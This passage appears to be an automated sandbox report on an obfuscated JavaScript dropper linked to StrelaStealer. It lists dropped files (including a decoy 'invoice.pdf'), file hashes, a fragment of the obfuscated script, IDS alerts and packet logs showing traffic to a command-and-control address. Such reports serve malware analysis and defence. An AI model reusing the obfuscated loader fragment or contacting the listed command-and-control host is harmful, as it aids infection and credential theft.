Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c3e9f85d-4157-4346-807d-65d37eb2fb39.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VwYIGNPY9WL07oDGZNNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:twZGO9WLxDGZX3mlind9i4ufFXpAXkru
MD5:	49AE39335C852B07A65AD2ADA96371BA
SHA1:	59E92CDAF9A73A431A049173F7DC5977CC25F9AC
SHA-256:	AB6D9360A1B86DE6CC5D3311C5E8139AA51BF48242E42311193EFD88A37CB852
SHA-512:	F171A469DC4F2C1CC25539C786FDCFFD884A210ECF95031A54E3740B8DF9BA5E03CC236ADF97810642604FC3B71ECF88DB928A602AB223E7F8A19B1BC27F318F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17494), with CRLF line terminators
Entropy (8bit):	4.922416406099227
TrID:
File name:	497524953288097419.js
File size:	20'947 bytes
MD5:	38e0e5100d67b3131c8de66e18768f62
SHA1:	e2239e4c0fac7108965d8285e9046ac268e7785a
SHA256:	2a125e4eadfa231455b51ce1641a5ef2bd5142d20b9c4fc22b7d4cfcbd260db8
SHA512:	2749cc5005a364578ffce858f8e03890a0c313c94b77d36cf8a9e67cb8fb72beb9f4ea9507c340c8009fa5dd38f345b749d74a52ab2371278d18f911bc016cda
SSDEEP:	384:O+Zb/i16G+tX4DKw/5EJMrJ8NJJA+KBJkAJp58RrwOr4NVa6Fmnh0au:qhY65EJMrJF/Orh05
TLSH:	CC9243894586E19664E59FF59ED6078F22FC23ACC8C81AC2168344A0491FFF277E75F8
File Content Preview:	function gthlxitia(){ddqwgibc=[1031,3079,5127,4103,2055,3072];var mdmyv=this[gdfmp+rcfin+gkjrdoa+wvszcxbm+iqtzeupi+mtbrafs+jpkygb+kreqd](this[gicetgbxv+cponda+cfnpmv+gkjrdoa+llypug+gdfmp+kreqd][jzegm+gkjrdoa+iqtzeupi+rcfin+kreqd+iqtzeupi+iraayipux+varpkxt

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:02:13.633541+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49707	193.143.1.205	80	TCP
2025-01-11T07:02:13.633541+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49707	193.143.1.205	80	TCP
2025-01-11T07:02:16.700816+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49708	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:02:12.809288025 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:12.814093113 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:12.814188004 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:12.817143917 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:12.821981907 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633348942 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633388996 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633538008 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633541107 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.633593082 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633646965 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633683920 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633716106 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633728027 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.633728027 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.633753061 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633786917 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633796930 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.633821964 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.633869886 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.638674974 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.679641008 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.679698944 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.679733992 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.679775953 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.679775953 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.762361050 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762401104 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762435913 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762469053 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762484074 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.762504101 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762540102 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.762783051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762820959 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762856007 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762870073 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.762891054 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.762933969 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.763250113 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.763299942 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.763303995 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.763381958 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.763433933 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.763454914 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.763469934 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.763565063 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.764244080 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.764277935 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.764313936 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.764341116 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.764348030 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.764401913 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.764403105 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.772090912 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.772229910 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.808080912 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.808109999 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.808162928 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.808196068 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.808208942 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.808228970 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.808307886 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:13.854778051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.854793072 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:13.855015039 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.898875952 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.898936987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.898972034 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899003983 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899022102 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899039984 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899058104 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899116993 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899151087 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899158955 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899185896 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899220943 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899231911 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899260044 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899293900 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899311066 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899346113 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899379969 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899394989 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899451017 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899485111 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899497032 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899518013 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899550915 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899560928 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899602890 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899636984 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899652958 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899672031 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899707079 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899723053 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899739027 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899771929 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899795055 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899821043 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899856091 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899868011 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899889946 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899924994 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.899938107 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.899959087 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900012970 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900013924 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900053024 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900085926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900110960 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900120974 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900177002 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900178909 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900212049 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900245905 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900253057 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900299072 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900333881 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900347948 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900393963 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900428057 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900441885 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900554895 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900588989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900604010 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900628090 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900680065 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900798082 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900831938 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900861979 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900882959 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900895119 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900928974 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900948048 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.900965929 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.900999069 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.901017904 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.901228905 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.901283026 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.901541948 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.901591063 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.912377119 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.912434101 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.916500092 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916533947 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916551113 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.916568995 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916601896 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916625023 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.916635990 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916670084 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916681051 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.916706085 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916738987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916744947 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.916775942 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916807890 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916817904 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.916924000 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916958094 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.916966915 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.916992903 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917026043 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917032003 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917059898 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917093039 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917100906 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917128086 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917152882 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917167902 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917259932 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917295933 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917329073 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917346001 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917366028 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917407990 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917416096 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917452097 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917486906 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917494059 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917521000 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917553902 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917565107 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917589903 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917623043 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917651892 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917656898 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917690992 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917711020 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917723894 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917757034 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917763948 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917790890 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917824030 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917830944 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917857885 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917891979 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917901039 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917928934 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917962074 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.917984009 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.917994976 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918029070 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918035984 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918065071 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918098927 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918109894 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918135881 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918168068 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918179035 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918203115 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918236971 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918250084 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918273926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918307066 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918313980 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918401003 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918435097 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918451071 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918467999 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918500900 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918512106 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918536901 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918570042 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918576956 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918603897 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918637991 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918656111 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918672085 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918706894 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918718100 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.918745995 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.918796062 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.924801111 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.924967051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.925004005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.925009966 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.925684929 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.925715923 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.925753117 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.925777912 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.926073074 CET	80	49707	193.143.1.205	192.168.2.8
